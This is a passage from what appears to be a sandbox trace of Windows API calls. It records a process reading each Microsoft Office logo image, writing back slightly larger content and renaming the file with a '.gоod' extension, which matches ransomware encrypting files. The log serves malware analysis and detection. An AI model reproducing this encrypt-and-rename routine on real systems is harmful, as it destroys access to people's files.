(hFile=0x808) returned 0x1 [0215.204] WriteFile (in: hFile=0x808, lpBuffer=0x36a9e68*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x36a9e68*, lpNumberOfBytesWritten=0x1fcee148*=0x810, lpOverlapped=0x0) returned 1 [0215.205] CloseHandle (hObject=0x808) returned 1 [0215.205] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-180.png", lpFilePart=0x0) returned 0x5a [0215.205] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-180.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-180.png.gоod", lpFilePart=0x0) returned 0x5f [0215.205] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0215.206] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1996e644, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1996e644, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7c7bb2a9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x810)) returned 1 [0215.206] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0215.206] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.scale-180.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-180.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.scale-180.png.gоod")) returned 1 [0215.206] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-80.png", lpFilePart=0x0) returned 0x59 [0215.207] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0215.207] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x36ab170 | out: lpFileInformation=0x36ab170*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1996e644, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1996e644, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1996e644, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x537)) returned 1 [0215.207] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0215.207] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-80.png", lpFilePart=0x0) returned 0x59 [0215.207] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0215.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.scale-80.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0215.207] GetFileType (hFile=0x808) returned 0x1 [0215.207] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0215.207] GetFileType (hFile=0x808) returned 0x1 [0215.207] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x537 [0215.207] ReadFile (in: hFile=0x808, lpBuffer=0x36ab9e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x36ab9e0*, lpNumberOfBytesRead=0x1fcee238*=0x537, lpOverlapped=0x0) returned 1 [0215.209] CloseHandle (hObject=0x808) returned 1 [0215.220] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-80.png", lpFilePart=0x0) returned 0x59 [0215.220] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0215.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.scale-80.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0215.222] GetFileType (hFile=0x808) returned 0x1 [0215.222] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0215.222] GetFileType (hFile=0x808) returned 0x1 [0215.222] WriteFile (in: hFile=0x808, lpBuffer=0x3724c10*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x3724c10*, lpNumberOfBytesWritten=0x1fcee148*=0x540, lpOverlapped=0x0) returned 1 [0215.223] CloseHandle (hObject=0x808) returned 1 [0215.223] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-80.png", lpFilePart=0x0) returned 0x59 [0215.223] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-80.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-80.png.gоod", lpFilePart=0x0) returned 0x5e [0215.223] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0215.223] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1996e644, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1996e644, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7c7e1476, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x540)) returned 1 [0215.223] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0215.223] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.scale-80.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-80.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.scale-80.png.gоod")) returned 1 [0215.224] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-100.png", lpFilePart=0x0) returned 0x62 [0215.224] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0215.224] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.contrast-black_scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x3725f18 | out: lpFileInformation=0x3725f18*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1996e644, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1996e644, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1996e644, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8f3)) returned 1 [0215.224] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0215.224] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-100.png", lpFilePart=0x0) returned 0x62 [0215.224] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0215.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.contrast-black_scale-100.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0215.224] GetFileType (hFile=0x808) returned 0x1 [0215.225] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0215.225] GetFileType (hFile=0x808) returned 0x1 [0215.225] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x8f3 [0215.225] ReadFile (in: hFile=0x808, lpBuffer=0x3726b88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3726b88*, lpNumberOfBytesRead=0x1fcee238*=0x8f3, lpOverlapped=0x0) returned 1 [0215.538] CloseHandle (hObject=0x808) returned 1 [0215.891] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-100.png", lpFilePart=0x0) returned 0x62 [0215.891] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0215.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.contrast-black_scale-100.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0215.892] GetFileType (hFile=0x82c) returned 0x1 [0215.893] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0215.893] GetFileType (hFile=0x82c) returned 0x1 [0215.893] WriteFile (in: hFile=0x82c, lpBuffer=0x3525590*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x3525590*, lpNumberOfBytesWritten=0x1fcee148*=0x900, lpOverlapped=0x0) returned 1 [0215.893] CloseHandle (hObject=0x82c) returned 1 [0215.894] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-100.png", lpFilePart=0x0) returned 0x62 [0215.894] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-100.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-100.png.gоod", lpFilePart=0x0) returned 0x67 [0215.894] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0215.894] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.contrast-black_scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1996e644, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1996e644, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7ce49c22, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x900)) returned 1 [0215.894] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0215.894] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.contrast-black_scale-100.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-100.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.contrast-black_scale-100.png.gоod")) returned 1 [0215.895] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-140.png", lpFilePart=0x0) returned 0x62 [0215.895] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0215.895] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.contrast-black_scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x35268c8 | out: lpFileInformation=0x35268c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1996e644, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1996e644, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1996e644, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbb6)) returned 1 [0215.895] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0215.895] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-140.png", lpFilePart=0x0) returned 0x62 [0215.895] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0215.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.contrast-black_scale-140.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0215.895] GetFileType (hFile=0x82c) returned 0x1 [0215.895] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0215.895] GetFileType (hFile=0x82c) returned 0x1 [0215.895] GetFileSize (in: hFile=0x82c, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0xbb6 [0215.895] ReadFile (in: hFile=0x82c, lpBuffer=0x35277f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x35277f8*, lpNumberOfBytesRead=0x1fcee238*=0xbb6, lpOverlapped=0x0) returned 1 [0216.341] CloseHandle (hObject=0x82c) returned 1 [0216.387] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-140.png", lpFilePart=0x0) returned 0x62 [0216.387] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0216.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.contrast-black_scale-140.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0216.389] GetFileType (hFile=0x82c) returned 0x1 [0216.389] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0216.389] GetFileType (hFile=0x82c) returned 0x1 [0216.389] WriteFile (in: hFile=0x82c, lpBuffer=0x36db470*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x36db470*, lpNumberOfBytesWritten=0x1fcee148*=0xbc0, lpOverlapped=0x0) returned 1 [0216.390] CloseHandle (hObject=0x82c) returned 1 [0216.390] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-140.png", lpFilePart=0x0) returned 0x62 [0216.390] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-140.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-140.png.gоod", lpFilePart=0x0) returned 0x67 [0216.390] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0216.390] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.contrast-black_scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1996e644, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1996e644, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7d30e6c6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xbc0)) returned 1 [0216.390] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0216.390] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.contrast-black_scale-140.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-140.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.contrast-black_scale-140.png.gоod")) returned 1 [0216.391] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-180.png", lpFilePart=0x0) returned 0x62 [0216.391] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0216.391] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.contrast-black_scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x36dc7a8 | out: lpFileInformation=0x36dc7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x199e0c45, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x199e0c45, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19a06e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xeef)) returned 1 [0216.391] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0216.391] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-180.png", lpFilePart=0x0) returned 0x62 [0216.391] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0216.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.contrast-black_scale-180.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0216.391] GetFileType (hFile=0x82c) returned 0x1 [0216.391] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0216.392] GetFileType (hFile=0x82c) returned 0x1 [0216.392] GetFileSize (in: hFile=0x82c, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0xeef [0216.392] ReadFile (in: hFile=0x82c, lpBuffer=0x36dda10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x36dda10*, lpNumberOfBytesRead=0x1fcee238*=0xeef, lpOverlapped=0x0) returned 1 [0216.393] CloseHandle (hObject=0x82c) returned 1 [0216.515] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-180.png", lpFilePart=0x0) returned 0x62 [0216.515] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0216.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.contrast-black_scale-180.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0216.517] GetFileType (hFile=0x81c) returned 0x1 [0216.517] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0216.517] GetFileType (hFile=0x81c) returned 0x1 [0216.517] WriteFile (in: hFile=0x81c, lpBuffer=0x356ee10*, nNumberOfBytesToWrite=0xef0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x356ee10*, lpNumberOfBytesWritten=0x1fcee148*=0xef0, lpOverlapped=0x0) returned 1 [0216.518] CloseHandle (hObject=0x81c) returned 1 [0216.518] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-180.png", lpFilePart=0x0) returned 0x62 [0216.518] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-180.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-180.png.gоod", lpFilePart=0x0) returned 0x67 [0216.518] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0216.518] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.contrast-black_scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x199e0c45, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x199e0c45, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7d43fca5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xef0)) returned 1 [0216.518] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0216.518] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.contrast-black_scale-180.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-180.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.contrast-black_scale-180.png.gоod")) returned 1 [0216.519] GetFullPathNameW (in: lpFileName="C:\\Program 